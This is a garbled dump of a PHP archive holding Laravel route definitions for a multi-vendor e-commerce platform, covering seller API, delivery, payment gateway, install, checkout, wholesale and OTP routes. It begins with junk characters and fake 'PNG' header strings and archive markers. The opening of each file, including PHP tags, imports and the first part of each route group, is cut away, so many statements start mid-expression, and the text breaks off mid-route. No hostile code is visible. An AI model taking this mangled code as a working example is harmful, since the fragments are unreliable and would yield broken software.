🍲dfcv🏰dd⋉(● ∸ ●)⋊@% PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!PKrk]wq;; console.phpnu[comment(Inspiring::quote()); })->describe('Display an inspiring quote'); PKrk]qapi_seller.phpnu[ 'v2/seller', 'middleware' => ['app_language']], function () { Route::middleware(['auth:sanctum'])->group(function () { //Order Section Route::controller(OrderController::class)->group(function () { Route::get('orders', 'getOrderList'); Route::get('orders/details/{id}', 'getOrderDetails'); Route::post('orders/items/{id}', 'getOrderItems'); Route::post('orders/update-delivery-status', 'update_delivery_status'); Route::post('orders/update-payment-status', 'update_payment_status'); // Route::apiResource('shops', 'App\Http\Controllers\Api\V2\ShopController')->only('index'); }); //Shop Section Route::controller(ShopController::class)->group(function () { Route::get('payment-history', 'payment_histories'); Route::get('commission-list', 'collection_histories'); Route::get('profile', 'profile'); Route::get('dashboard/category-wise-products', 'category_wise_products'); Route::get('dashboard/sales-stat', 'sales_stat'); Route::get('dashboard/top-12-product', 'top_12_products'); Route::get('dashboard/dashboard-counters', 'app_dashboard_counters'); Route::get('shop/info', 'info'); Route::get('package/info', 'pacakge'); Route::post('shop-update', 'update'); Route::get('shop-verify-form', 'getVerifyForm'); Route::post('shop-verify-info-store', 'store_verify_info'); }); //Refund Section Route::controller(RefundController::class)->group(function () { Route::get('refunds', 'index'); Route::post('refunds/approve', 'request_approval_vendor'); Route::post('refunds/reject', 'reject_refund_request'); }); //Withdraw Request Section Route::controller(WithdrawRequestController::class)->group(function () { Route::get('withdraw-request', 'index'); Route::post('withdraw-request/store', 'store'); }); //Product Section Route::controller(ProductController::class)->group(function () { Route::get('products/all', 'index'); Route::get('products/categories', 'getCategory'); Route::get('products/brands', 'getBrands'); Route::get('products/taxes', 'getTaxes'); Route::get('products/attributes', 'getAttributes'); Route::get('products/colors', 'getColors'); Route::post('products/add', 'store'); Route::get('products/edit/{id}', 'edit'); Route::post('products/update/{product}', 'update'); Route::post('product/change-featured', 'change_featured_status'); Route::post('product/change-status', 'change_status'); Route::get('product/duplicate/{id}', 'duplicate'); Route::get('product/delete/{id}', 'destroy'); Route::get('products/remaining-uploads', 'remainingUploads'); Route::get('products/reviews', 'product_reviews'); Route::post('product/search', 'productSearch'); }); //Product Query Section Route::controller(ProductQueryController::class)->group(function () { Route::get('products/queries', 'product_queries'); Route::get('products/query-show/{id}', 'product_queries_show'); Route::post('products/query-reply/{id}', 'product_queries_reply'); }); // Digital Product Section Route::controller(DigitalProductController::class)->group(function () { Route::get('digital-products', 'index'); Route::get('digital-products/categories', 'getCategory'); Route::post('digital-products/store', 'store'); Route::get('digital-products/edit/{id}', 'edit'); Route::post('digital-products/update/{product}', 'update'); Route::get('digital-products/destroy/{id}', 'destroy'); Route::get('digital-products/download/{id}', 'download'); }); //Whole Sale Product Section Route::controller(WholesaleProductController::class)->group(function () { Route::get('wholesale-products', 'wholesale_products'); Route::post('wholesale-product/create', 'product_store'); Route::get('wholesale-product/edit/{id}', 'product_edit'); Route::post('wholesale-product/update/{id}', 'product_update'); Route::get('wholesale-product/destroy/{id}', 'product_destroy'); }); // Auction Product Section Route::controller(SellerAuctionProductController::class)->group(function () { Route::get('auction-products', 'index'); Route::post('auction-products/create', 'store'); Route::get('auction-products/edit/{id}', 'edit'); Route::post('auction-products/update/{id}', 'update'); Route::get('auction-product-bids/edit/{id}', 'productBids'); Route::get('/auction-product-bids/destroy/{id}', 'bidDestroy'); Route::get('auction-products/orders', 'getAuctionOrderList'); }); //Coupon Section Route::controller(CouponController::class)->group(function () { Route::get('coupon/all', 'index'); Route::post('coupon/create', 'store'); Route::get('coupon/edit/{id}', 'edit'); Route::get('coupon/delete/{id}', 'destroy'); Route::post('coupon/update/{coupon}', 'update'); Route::get('coupon/for-product', 'coupon_for_product'); }); //Conversations Route::controller(ConversationController::class)->group(function () { Route::get('conversations', 'index'); Route::get('conversations/show/{id}', 'showMessages'); Route::post('conversations/message/store', 'send_message_to_customer'); }); //Seller Package Route::controller(SellerPackageController::class)->group(function () { Route::get('seller-packages-list', 'seller_packages_list'); Route::post('seller-package/offline-payment', 'purchase_package_offline'); Route::post('seller-package/free-package', 'purchase_free_package'); }); //Seller File Upload Route::controller(SellerFileUploadController::class)->group(function () { Route::post('file/upload', 'upload'); Route::get('file/all', 'index'); Route::get('file/delete/{id}', 'destroy'); }); // ... // POS Route::controller(PosController::class)->group(function () { Route::get('pos/products', 'productsList'); Route::get('pos/get-customers', 'getCustomers'); Route::post('pos/update-session-user', 'updateSessionUser'); Route::get('pos/get-shipping_address/{id}', 'getShippingAddress'); Route::post('pos/create-shipping-address', 'createShippingAddress'); Route::post('pos/add-to-cart', 'addToCart'); Route::post('pos/update-cart', 'updateQuantity'); Route::get('pos/delete-cart/{id}', 'removeFromCart'); Route::post('pos/order-place', 'orderStore'); Route::post('pos/user-cart-data', 'getUserCartData'); Route::get('pos/configuration', 'posConfiguration'); Route::post('pos/configuration/update', 'posConfigurationUpdate'); }); }); // Route::post('shops/create', [ShopController::class, 'store']); }); PKrk]FP P delivery_boy.phpnu['admin', 'middleware' => ['auth', 'admin', 'prevent-back-history']], function(){ //Delivery Boy Route::resource('delivery-boys', DeliveryBoyController::class); Route::controller(DeliveryBoyController::class)->group(function () { Route::get('/delivery-boy/ban/{id}', 'ban')->name('delivery-boy.ban'); Route::get('/delivery-boy-configuration', 'delivery_boy_configure')->name('delivery-boy-configuration'); Route::post('/delivery-boy/order-collection', 'order_collection_form')->name('delivery-boy.order-collection'); Route::post('/collection-from-delivery-boy', 'collection_from_delivery_boy')->name('collection-from-delivery-boy'); Route::post('/delivery-boy/delivery-earning', 'delivery_earning_form')->name('delivery-boy.delivery-earning'); Route::post('/paid-to-delivery-boy', 'paid_to_delivery_boy')->name('paid-to-delivery-boy'); Route::get('/delivery-boys-payment-histories', 'delivery_boys_payment_histories')->name('delivery-boys-payment-histories'); Route::get('/delivery-boys-collection-histories', 'delivery_boys_collection_histories')->name('delivery-boys-collection-histories'); Route::get('/delivery-boy/cancel-request', 'cancel_request_list')->name('delivery-boy.cancel-request'); }); }); Route::group(['middleware' => ['user', 'verified', 'unbanned', 'prevent-back-history']], function() { Route::controller(DeliveryBoyController::class)->group(function () { Route::get('/assigned-deliveries', 'assigned_delivery')->name('assigned-deliveries'); Route::get('/pickup-deliveries', 'pickup_delivery')->name('pickup-deliveries'); Route::get('/on-the-way-deliveries', 'on_the_way_deliveries')->name('on-the-way-deliveries'); Route::get('/completed-deliveries', 'completed_delivery')->name('completed-deliveries'); Route::get('/pending-deliveries', 'pending_delivery')->name('pending-deliveries'); Route::get('/cancelled-deliveries', 'cancelled_delivery')->name('cancelled-deliveries'); Route::get('/total-collections', 'total_collection')->name('total-collection'); Route::get('/total-earnings', 'total_earning')->name('total-earnings'); Route::get('/cancel-request/{id}', 'cancel_request')->name('cancel-request'); Route::get('/cancel-request-list', 'delivery_boys_cancel_request_list')->name('cancel-request-list'); }); Route::controller(OrderController::class)->group(function () { Route::post('/orders/update_delivery_status', 'update_delivery_status')->name('delivery-boy.orders.update_delivery_status'); }); Route::controller(DeliveryBoyController::class)->group(function () { Route::get('/delivery-boy/order-detail/{id}', 'order_detail')->name('delivery-boy.order-detail'); }); }); PKrk]UI   channels.phpnu[id === (int) $id; }); PKrk]  paytm.phpnu[group(function () { Route::get('/paytm/index', 'pay'); Route::post('/paytm/callback', 'callback')->name('paytm.callback'); }); //Admin Route::group(['prefix' =>'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(PaytmController::class)->group(function () { Route::get('/paytm_configuration', 'credentials_index')->name('paytm.index'); Route::post('/paytm_configuration_update', 'update_credentials')->name('paytm.update_credentials'); }); }); //Toyyibpay Route::controller(ToyyibpayController::class)->group(function () { Route::get('toyyibpay-status', 'paymentstatus')->name( 'toyyibpay-status'); Route::post('/toyyibpay-callback', 'callback')->name( 'toyyibpay-callback'); }); //Myfatoorah START Route::get('/myfatoorah/callback', [MyfatoorahController::class,'callback'])->name('myfatoorah.callback'); //Khalti START Route::any('/khalti/payment/done', [KhaltiController::class,'paymentDone'])->name('khalti.success'); // phonepe Route::controller(PhonepeController::class)->group(function () { Route::any('/phonepe/pay', 'pay')->name('phonepe.pay'); Route::any('/phonepe/redirecturl', 'phonepe_redirecturl')->name('phonepe.redirecturl'); Route::any('/phonepe/callbackUrl', 'phonepe_callbackUrl')->name('phonepe.callbackUrl'); }); PKrk]e9 install.phpnu[group(function () { Route::get('/', 'step0'); Route::get('/step1', 'step1')->name('step1'); Route::get('/step2', 'step2')->name('step2'); Route::get('/step3/{error?}', 'step3')->name('step3'); Route::get('/step4', 'step4')->name('step4'); Route::get('/step5', 'step5')->name('step5'); Route::post('/database_installation', 'database_installation')->name('install.db'); Route::get('import_sql', 'import_sql')->name('import_sql'); Route::post('system_settings', 'system_settings')->name('system_settings'); Route::post('purchase_code', 'purchase_code')->name('purchase.code'); }); PKrk]A bbweb.phpnu[group(function () { Route::get('/demo/cron_1', 'cron_1'); Route::get('/demo/cron_2', 'cron_2'); Route::get('/convert_assets', 'convert_assets'); Route::get('/convert_category', 'convert_category'); Route::get('/convert_tax', 'convertTaxes'); Route::get('/set-category', 'setCategoryToProductCategory'); Route::get('/insert_product_variant_forcefully', 'insert_product_variant_forcefully'); Route::get('/update_seller_id_in_orders/{id_min}/{id_max}', 'update_seller_id_in_orders'); Route::get('/migrate_attribute_values', 'migrate_attribute_values'); }); Route::get('/refresh-csrf', function () { return csrf_token(); }); // AIZ Uploader Route::controller(AizUploadController::class)->group(function () { Route::post('/aiz-uploader', 'show_uploader'); Route::post('/aiz-uploader/upload', 'upload'); Route::get('/aiz-uploader/get-uploaded-files', 'get_uploaded_files'); Route::post('/aiz-uploader/get_file_by_ids', 'get_preview_files'); Route::get('/aiz-uploader/download/{id}', 'attachment_download')->name('download_attachment'); }); Route::group(['middleware' => ['prevent-back-history','handle-demo-login']], function () { Auth::routes(['verify' => true]); }); // Login Route::controller(LoginController::class)->group(function () { Route::get('/logout', 'logout'); Route::get('/social-login/redirect/{provider}', 'redirectToProvider')->name('social.login'); Route::get('/social-login/{provider}/callback', 'handleProviderCallback')->name('social.callback'); //Apple Callback Route::post('/apple-callback', 'handleAppleCallback'); Route::get('/account-deletion', 'account_deletion')->name('account_delete'); Route::get('/handle-demo-login', 'handle_demo_login')->name('handleDemoLogin'); }); Route::controller(VerificationController::class)->group(function () { Route::get('/email/resend', 'resend')->name('verification.resend'); Route::get('/verification-confirmation/{code}', 'verification_confirmation')->name('email.verification.confirmation'); }); Route::controller(HomeController::class)->group(function () { Route::get('/email-change/callback', 'email_change_callback')->name('email_change.callback'); Route::post('/password/reset/email/submit', 'reset_password_with_code')->name('password.update'); Route::get('/users/login', 'login')->name('user.login')->middleware('handle-demo-login'); Route::get('/seller/login', 'login')->name('seller.login')->middleware('handle-demo-login'); Route::get('/deliveryboy/login', 'login')->name('deliveryboy.login')->middleware('handle-demo-login'); Route::get('/users/registration', 'registration')->name('user.registration')->middleware('handle-demo-login'); Route::post('/users/login/cart', 'cart_login')->name('cart.login.submit')->middleware('handle-demo-login'); Route::post('/import-data', 'import_data'); //Home Page Route::get('/', 'index')->name('home'); Route::post('/home/section/featured', 'load_featured_section')->name('home.section.featured'); Route::post('/home/section/todays-deal', 'load_todays_deal_section')->name('home.section.todays_deal'); Route::post('/home/section/best-selling', 'load_best_selling_section')->name('home.section.best_selling'); Route::post('/home/section/newest-products', 'load_newest_product_section')->name('home.section.newest_products'); Route::post('/home/section/home-categories', 'load_home_categories_section')->name('home.section.home_categories'); Route::post('/home/section/best-sellers', 'load_best_sellers_section')->name('home.section.best_sellers'); //category dropdown menu ajax call Route::post('/category/nav-element-list', 'get_category_items')->name('category.elements'); //Flash Deal Details Page Route::get('/flash-deals', 'all_flash_deals')->name('flash-deals'); Route::get('/flash-deal/{slug}', 'flash_deal_details')->name('flash-deal-details'); //Todays Deal Details Page Route::get('/todays-deal', 'todays_deal')->name('todays-deal'); Route::get('/product/{slug}', 'product')->name('product'); Route::post('/product/variant-price', 'variant_price')->name('products.variant_price'); Route::get('/shop/{slug}', 'shop')->name('shop.visit'); Route::get('/shop/{slug}/{type}', 'filter_shop')->name('shop.visit.type'); Route::get('/customer-packages', 'premium_package_index')->name('customer_packages_list_show'); Route::get('/brands', 'all_brands')->name('brands.all'); Route::get('/categories', 'all_categories')->name('categories.all'); Route::get('/sellers', 'all_seller')->name('sellers'); Route::get('/coupons', 'all_coupons')->name('coupons.all'); Route::get('/inhouse', 'inhouse_products')->name('inhouse.all'); // Policies Route::get('/seller-policy', 'sellerpolicy')->name('sellerpolicy'); Route::get('/return-policy', 'returnpolicy')->name('returnpolicy'); Route::get('/support-policy', 'supportpolicy')->name('supportpolicy'); Route::get('/terms', 'terms')->name('terms'); Route::get('/privacy-policy', 'privacypolicy')->name('privacypolicy'); Route::get('/track-your-order', 'trackOrder')->name('orders.track'); }); // Language Switch Route::post('/language', [LanguageController::class, 'changeLanguage'])->name('language.change'); // Currency Switch Route::post('/currency', [CurrencyController::class, 'changeCurrency'])->name('currency.change'); // Size Chart Show Route::get('/size-charts-show/{id}', [SizeChartController::class, 'show'])->name('size-charts-show'); Route::get('/sitemap.xml', function () { return base_path('sitemap.xml'); }); // Classified Product Route::controller(CustomerProductController::class)->group(function () { Route::get('/customer-products', 'customer_products_listing')->name('customer.products'); Route::get('/customer-products?category={category_slug}', 'search')->name('customer_products.category'); Route::get('/customer-products?city={city_id}', 'search')->name('customer_products.city'); Route::get('/customer-products?q={search}', 'search')->name('customer_products.search'); Route::get('/customer-product/{slug}', 'customer_product')->name('customer.product'); }); // Search Route::controller(SearchController::class)->group(function () { Route::get('/search', 'index')->name('search'); Route::get('/search?keyword={search}', 'index')->name('suggestion.search'); Route::post('/ajax-search', 'ajax_search')->name('search.ajax'); Route::get('/category/{category_slug}', 'listingByCategory')->name('products.category'); Route::get('/brand/{brand_slug}', 'listingByBrand')->name('products.brand'); }); // Cart Route::controller(CartController::class)->group(function () { Route::get('/cart', 'index')->name('cart'); Route::post('/cart/show-cart-modal', 'showCartModal')->name('cart.showCartModal'); Route::post('/cart/addtocart', 'addToCart')->name('cart.addToCart'); Route::post('/cart/removeFromCart', 'removeFromCart')->name('cart.removeFromCart'); Route::post('/cart/updateQuantity', 'updateQuantity')->name('cart.updateQuantity'); Route::post('/cart/updateCartStatus', 'updateCartStatus')->name('cart.updateCartStatus'); }); //Paypal START Route::controller(PaypalController::class)->group(function () { Route::get('/paypal/payment/done', 'getDone')->name('payment.done'); Route::get('/paypal/payment/cancel', 'getCancel')->name('payment.cancel'); }); //Mercadopago START Route::controller(MercadopagoController::class)->group(function () { Route::any('/mercadopago/payment/done', 'paymentstatus')->name('mercadopago.done'); Route::any('/mercadopago/payment/cancel', 'callback')->name('mercadopago.cancel'); }); //Mercadopago // SSLCOMMERZ Start Route::controller(SslcommerzController::class)->group(function () { Route::get('/sslcommerz/pay', 'index'); Route::POST('/sslcommerz/success', 'success'); Route::POST('/sslcommerz/fail', 'fail'); Route::POST('/sslcommerz/cancel', 'cancel'); Route::POST('/sslcommerz/ipn', 'ipn'); }); //SSLCOMMERZ END //Stipe Start Route::controller(StripeController::class)->group(function () { Route::get('stripe', 'stripe'); Route::post('/stripe/create-checkout-session', 'create_checkout_session')->name('stripe.get_token'); Route::any('/stripe/payment/callback', 'callback')->name('stripe.callback'); Route::get('/stripe/success', 'success')->name('stripe.success'); Route::get('/stripe/cancel', 'cancel')->name('stripe.cancel'); }); //Stripe END // Compare Route::controller(CompareController::class)->group(function () { Route::get('/compare', 'index')->name('compare'); Route::get('/compare/reset', 'reset')->name('compare.reset'); Route::post('/compare/addToCompare', 'addToCompare')->name('compare.addToCompare'); Route::get('/compare/details/{id}', 'details')->name('compare.details'); }); // Subscribe Route::resource('subscribers', SubscriberController::class); Route::group(['middleware' => ['user', 'verified', 'unbanned']], function () { Route::controller(HomeController::class)->group(function () { Route::get('/dashboard', 'dashboard')->name('dashboard')->middleware(['prevent-back-history']); Route::get('/profile', 'profile')->name('profile'); Route::post('/new-user-verification', 'new_verify')->name('user.new.verify'); Route::post('/new-user-email', 'update_email')->name('user.change.email'); Route::post('/user/update-profile', 'userProfileUpdate')->name('user.profile.update'); }); Route::controller(NotificationController::class)->group(function () { Route::get('/all-notifications', 'customerIndex')->name('customer.all-notifications'); Route::post('/notifications/bulk-delete', 'bulkDeleteCustomer')->name('notifications.bulk_delete'); Route::get('/notification/read-and-redirect/{id}', 'readAndRedirect')->name('notification.read-and-redirect'); Route::get('/non-linkable-notification-read', 'nonLinkableNotificationRead')->name('non-linkable-notification-read'); }); }); // Checkout Routs Route::group(['prefix' => 'checkout'], function () { Route::controller(CheckoutController::class)->group(function () { // Route::get('/', 'get_shipping_info')->name('checkout.shipping_info'); Route::get('/', 'index')->name('checkout'); Route::any('/delivery-info', 'store_shipping_info')->name('checkout.store_shipping_infostore'); Route::post('/payment-select', 'store_delivery_info')->name('checkout.store_delivery_info'); Route::post('/payment', 'checkout')->name('payment.checkout'); Route::get('/order-confirmed', 'order_confirmed')->name('order_confirmed'); Route::post('/apply-coupon-code', 'apply_coupon_code')->name('checkout.apply_coupon_code'); Route::post('/remove-coupon-code', 'remove_coupon_code')->name('checkout.remove_coupon_code'); Route::post('/guest-customer-info-check', 'guestCustomerInfoCheck')->name('guest_customer_info_check'); Route::post('/updateDeliveryAddress', 'updateDeliveryAddress')->name('checkout.updateDeliveryAddress'); Route::post('/updateDeliveryInfo', 'updateDeliveryInfo')->name('checkout.updateDeliveryInfo'); //Club point // Route::post('/apply-club-point', 'apply_club_point')->name('checkout.apply_club_point'); // Route::post('/remove-club-point', 'remove_club_point')->name('checkout.remove_club_point'); }); }); Route::group(['middleware' => ['customer', 'verified', 'unbanned']], function () { // Purchase History Route::resource('purchase_history', PurchaseHistoryController::class); Route::controller(PurchaseHistoryController::class)->group(function () { Route::get('/purchase_history/details/{id}', 'purchase_history_details')->name('purchase_history.details'); Route::get('/purchase_history/destroy/{id}', 'order_cancel')->name('purchase_history.destroy'); Route::get('digital-purchase-history', 'digital_index')->name('digital_purchase_history.index'); Route::get('/digital-products/download/{id}', 'download')->name('digital-products.download'); Route::get('/re-order/{id}', 're_order')->name('re_order'); }); // Wishlist Route::resource('wishlists', WishlistController::class); Route::post('/wishlists/remove', [WishlistController::class, 'remove'])->name('wishlists.remove'); //Follow Route::controller(FollowSellerController::class)->group(function () { Route::get('/followed-seller', 'index')->name('followed_seller'); Route::get('/followed-seller/store', 'store')->name('followed_seller.store'); Route::get('/followed-seller/remove', 'remove')->name('followed_seller.remove'); }); // Wallet Route::controller(WalletController::class)->group(function () { Route::get('/wallet', 'index')->name('wallet.index'); Route::post('/recharge', 'recharge')->name('wallet.recharge'); }); // Support Ticket Route::resource('support_ticket', SupportTicketController::class); Route::post('support_ticket/reply', [SupportTicketController::class, 'seller_store'])->name('support_ticket.seller_store'); // Customer Package Route::post('/customer-packages/purchase', [CustomerPackageController::class, 'purchase_package'])->name('customer_packages.purchase'); // Customer Product Route::resource('customer_products', CustomerProductController::class); Route::controller(CustomerProductController::class)->group(function () { Route::get('/customer_products/{id}/edit', 'edit')->name('customer_products.edit'); Route::post('/customer_products/published', 'updatePublished')->name('customer_products.published'); Route::post('/customer_products/status', 'updateStatus')->name('customer_products.update.status'); Route::get('/customer_products/destroy/{id}', 'destroy')->name('customer_products.destroy'); }); // Product Review Route::post('/product-review-modal', [ReviewController::class, 'product_review_modal'])->name('product_review_modal'); Route::post('/order/re-payment', [CheckoutController::class, 'orderRePayment'])->name('order.re_payment'); }); Route::get('translation-check/{check}', [LanguageController::class, 'get_translation']); Route::controller(AddressController::class)->group(function () { Route::post('/get-states', 'getStates')->name('get-state'); Route::post('/get-cities', 'getCities')->name('get-city'); }); Route::group(['middleware' => ['auth']], function () { Route::get('invoice/{order_id}', [InvoiceController::class, 'invoice_download'])->name('invoice.download'); // Reviews Route::resource('/reviews', ReviewController::class); // Product Conversation Route::resource('conversations', ConversationController::class); Route::controller(ConversationController::class)->group(function () { Route::get('/conversations/destroy/{id}', 'destroy')->name('conversations.destroy'); Route::post('conversations/refresh', 'refresh')->name('conversations.refresh'); }); // Product Query Route::resource('product-queries', ProductQueryController::class); Route::resource('messages', MessageController::class); //Address Route::resource('addresses', AddressController::class); Route::controller(AddressController::class)->group(function () { // Route::post('/get-states', 'getStates')->name('get-state'); // Route::post('/get-cities', 'getCities')->name('get-city'); Route::post('/addresses/update/{id}', 'update')->name('addresses.update'); Route::get('/addresses/destroy/{id}', 'destroy')->name('addresses.destroy'); Route::get('/addresses/set-default/{id}', 'set_default')->name('addresses.set_default'); }); Route::controller(NoteController::class)->group(function () { Route::post('/get-notes', 'getNotes')->name('get_notes'); Route::get('/get-single-note/{id}', 'getSingleNote')->name('get-single-note'); }); }); Route::resource('shops', ShopController::class)->middleware('handle-demo-login'); Route::get('/instamojo/payment/pay-success', [InstamojoController::class, 'success'])->name('instamojo.success'); Route::post('rozer/payment/pay-success', [RazorpayController::class, 'payment'])->name('payment.rozer'); Route::get('/paystack/payment/callback', [PaystackController::class, 'handleGatewayCallback']); Route::get('/paystack/new-callback', [PaystackController::class, 'paystackNewCallback']); Route::controller(VoguepayController::class)->group(function () { Route::get('/vogue-pay', 'showForm'); Route::get('/vogue-pay/success/{id}', 'paymentSuccess'); Route::get('/vogue-pay/callback', 'handleCallback'); Route::get('/vogue-pay/failure/{id}', 'paymentFailure'); }); //Iyzico Route::any('/iyzico/payment/callback/{payment_type}/{amount?}/{payment_method?}/{combined_order_id?}/{customer_package_id?}/{seller_package_id?}', [IyzicoController::class, 'callback'])->name('iyzico.callback'); Route::get('/customer-products/admin', [IyzicoController::class, 'initPayment'])->name('profile.edit'); //payhere below Route::controller(PayhereController::class)->group(function () { Route::get('/payhere/checkout/testing', 'checkout_testing')->name('payhere.checkout.testing'); Route::get('/payhere/wallet/testing', 'wallet_testing')->name('payhere.checkout.testing'); Route::get('/payhere/customer_package/testing', 'customer_package_testing')->name('payhere.customer_package.testing'); Route::any('/payhere/checkout/notify', 'checkout_notify')->name('payhere.checkout.notify'); Route::any('/payhere/checkout/return', 'checkout_return')->name('payhere.checkout.return'); Route::any('/payhere/checkout/cancel', 'chekout_cancel')->name('payhere.checkout.cancel'); Route::any('/payhere/order-re-payment/notify', 'orderRepaymentNotify')->name('payhere.order_re_payment.notify'); Route::any('/payhere/order-re-payment/return', 'orderRepaymentReturn')->name('payhere.order_re_payment.return'); Route::any('/payhere/order-re-payment/cancel', 'orderRepaymentCancel')->name('payhere.order_re_payment.cancel'); Route::any('/payhere/wallet/notify', 'wallet_notify')->name('payhere.wallet.notify'); Route::any('/payhere/wallet/return', 'wallet_return')->name('payhere.wallet.return'); Route::any('/payhere/wallet/cancel', 'wallet_cancel')->name('payhere.wallet.cancel'); Route::any('/payhere/seller_package_payment/notify', 'sellerPackageNotify')->name('payhere.seller_package_payment.notify'); Route::any('/payhere/seller_package_payment/return', 'sellerPackageReturn')->name('payhere.seller_package_payment.return'); Route::any('/payhere/seller_package_payment/cancel', 'sellerPackageCancel')->name('payhere.seller_package_payment.cancel'); Route::any('/payhere/customer_package_payment/notify', 'customer_package_notify')->name('payhere.customer_package_payment.notify'); Route::any('/payhere/customer_package_payment/return', 'customer_package_return')->name('payhere.customer_package_payment.return'); Route::any('/payhere/customer_package_payment/cancel', 'customer_package_cancel')->name('payhere.customer_package_payment.cancel'); }); //N-genius Route::controller(NgeniusController::class)->group(function () { Route::any('ngenius/cart_payment_callback', 'cart_payment_callback')->name('ngenius.cart_payment_callback'); Route::any('ngenius/order_re_payment_callback', 'order_re_payment_callback')->name('ngenius.order_re_payment_callback'); Route::any('ngenius/wallet_payment_callback', 'wallet_payment_callback')->name('ngenius.wallet_payment_callback'); Route::any('ngenius/customer_package_payment_callback', 'customer_package_payment_callback')->name('ngenius.customer_package_payment_callback'); Route::any('ngenius/seller_package_payment_callback', 'seller_package_payment_callback')->name('ngenius.seller_package_payment_callback'); }); Route::controller(BkashController::class)->group(function () { Route::get('/bkash/create-payment', 'create_payment')->name('bkash.create_payment'); Route::get('/bkash/callback', 'callback')->name('bkash.callback'); Route::get('/bkash/success', 'success')->name('bkash.success'); }); Route::get('/checkout-payment-detail', [StripeController::class, 'checkout_payment_detail']); //Nagad Route::get('/nagad/callback', [NagadController::class, 'verify'])->name('nagad.callback'); //aamarpay Route::controller(AamarpayController::class)->group(function () { Route::post('/aamarpay/success', 'success')->name('aamarpay.success'); Route::post('/aamarpay/fail', 'fail')->name('aamarpay.fail'); }); //Authorize-Net-Payment Route::post('/dopay/online', [AuthorizenetController::class, 'handleonlinepay'])->name('dopay.online'); Route::get('/authorizenet/cardtype', [AuthorizenetController::class, 'cardType'])->name('authorizenet.cardtype'); //payku Route::get('/payku/callback/{id}', [PaykuController::class, 'callback'])->name('payku.result'); // Paymob Route::any('/paymob/callback', [PaymobController::class, 'callback']); // tap Route::any('/tap/callback', [TapController::class, 'callback'])->name('tap.callback'); //Blog Section Route::controller(BlogController::class)->group(function () { Route::get('/blog', 'all_blog')->name('blog'); Route::get('/blog/{slug}', 'blog_details')->name('blog.details'); }); Route::controller(PageController::class)->group(function () { //mobile app balnk page for webview Route::get('/mobile-page/{slug}', 'mobile_custom_page')->name('mobile.custom-pages'); //Custom page Route::get('/{slug}', 'show_custom_page')->name('custom-pages.show_custom_page'); }); Route::controller(ContactController::class)->group(function () { Route::post('/contact', 'contact')->name('contact'); }); PKrk]vdnn update.phpnu['admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(ClubPointController::class)->group(function () { Route::get('club-points/configuration', 'configure_index')->name('club_points.configs'); Route::get('club-points/index', 'index')->name('club_points.index'); Route::get('set-club-points', 'set_point')->name('set_product_points'); Route::post('set-club-points/store', 'set_products_point')->name('set_products_point.store'); Route::post('set-club-points-for-all_products/store', 'set_all_products_point')->name('set_all_products_point.store'); Route::get('set-club-points/{id}', 'set_point_edit')->name('product_club_point.edit'); Route::get('club-point-details/{id}', 'club_point_detail')->name('club_point.details'); Route::post('set-club-points/update/{id}', 'update_product_point')->name('product_point.update'); Route::post('club-point-convert-rate/store', 'convert_rate_store')->name('point_convert_rate_store'); }); }); //FrontEnd Route::group(['middleware' => ['user', 'verified']], function(){ Route::controller(ClubPointController::class)->group(function () { Route::get('earning-points', 'userpoint_index')->name('earnng_point_for_user'); Route::post('convert-point-into-wallet', 'convert_point_into_wallet')->name('convert_point_into_wallet'); }); }); PKrk]+gotp.phpnu[group(function () { Route::get('/verification', 'verification')->name('verification'); Route::post('/verification', 'verify_phone')->name('verification.submit'); Route::get('/verification/phone/code/resend', 'resend_verificcation_code')->name('verification.phone.resend'); //Forgot password phone Route::get('/password/phone/reset', 'show_reset_password_form')->name('password.phone.form'); Route::post('/password/reset/submit', 'reset_password_with_code')->name('password.update.phone'); }); //Admin Route::group(['prefix' =>'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(OTPController::class)->group(function () { Route::get('/otp-configuration', 'configure_index')->name('otp.configconfiguration'); Route::post('/otp-configuration/update/activation', 'updateActivationSettings')->name('otp_configurations.update.activation'); Route::post('/otp-credentials-update', 'update_credentials')->name('update_credentials'); }); //Messaging Route::controller(SmsController::class)->group(function () { Route::get('/sms', 'index')->name('sms.index'); Route::post('/sms-send', 'send')->name('sms.send'); }); Route::resource('sms-templates', SmsTemplateController::class); }); PKrk]li= wholesale.phpnu['admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(WholesaleProductController::class)->group(function () { Route::get('/wholesale/all-products', 'all_wholesale_products')->name('wholesale_products.all'); Route::get('/wholesale/inhouse-products', 'in_house_wholesale_products')->name('wholesale_products.in_house'); Route::get('/wholesale/seller-products', 'seller_wholesale_products')->name('wholesale_products.seller'); Route::get('/wholesale-product/create', 'product_create_admin')->name('wholesale_product_create.admin'); Route::post('/wholesale-product/store', 'product_store_admin')->name('wholesale_product_store.admin'); Route::get('/wholesale-product/{id}/edit', 'product_edit_admin')->name('wholesale_product_edit.admin'); Route::post('/wholesale-product/update/{id}', 'product_update_admin')->name('wholesale_product_update.admin'); Route::get('/wholesale-product/destroy/{id}', 'product_destroy_admin')->name('wholesale_product_destroy.admin'); }); }); Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user']], function() { Route::controller(WholesaleProductController::class)->group(function () { Route::get('/wholesale-products', 'wholesale_products_list_seller')->name('seller.wholesale_products_list'); Route::get('/wholesale-product/create', 'product_create_seller')->name('wholesale_product_create.seller'); Route::post('/wholesale-product/store', 'product_store_seller')->name('wholesale_product_store.seller'); Route::get('/wholesale-products/{id}/edit', 'product_edit_seller')->name('wholesale_product_edit.seller'); Route::post('/wholesale-product/update/{id}', 'product_update_seller')->name('wholesale_product_update.seller'); Route::get('/wholesale-product/destroy/{id}', 'product_destroy_seller')->name('wholesale_product_destroy.seller'); }); });PKrk]9ٔ african_pg.phpnu[group(function () { Route::get('/african/credentials_index', 'credentials_index')->name('african_credentials.index'); }); //Mpesa Route::prefix('lnmo')->group(function () { Route::controller(MpesaController::class)->group(function () { Route::post('mpesa_pay', 'payment_complete')->name('mpesa.pay'); Route::any('pay', 'mpesa_pay'); Route::any('validate', 'validation'); Route::any('confirm', 'confirmation'); Route::any('results', 'results'); Route::any('register', 'register'); Route::any('timeout', 'timeout'); Route::any('reconcile', 'reconcile'); }); }); //Mpesa End // RaveController start Route::get('/rave/callback', [FlutterwaveController::class, 'callback'])->name('flutterwave.callback'); // RaveController end //Payfast routes Route::controller(PayfastController::class)->group(function () { Route::any('/payfast/checkout/notify', 'checkout_notify')->name('payfast.checkout.notify'); Route::any('/payfast/checkout/return', 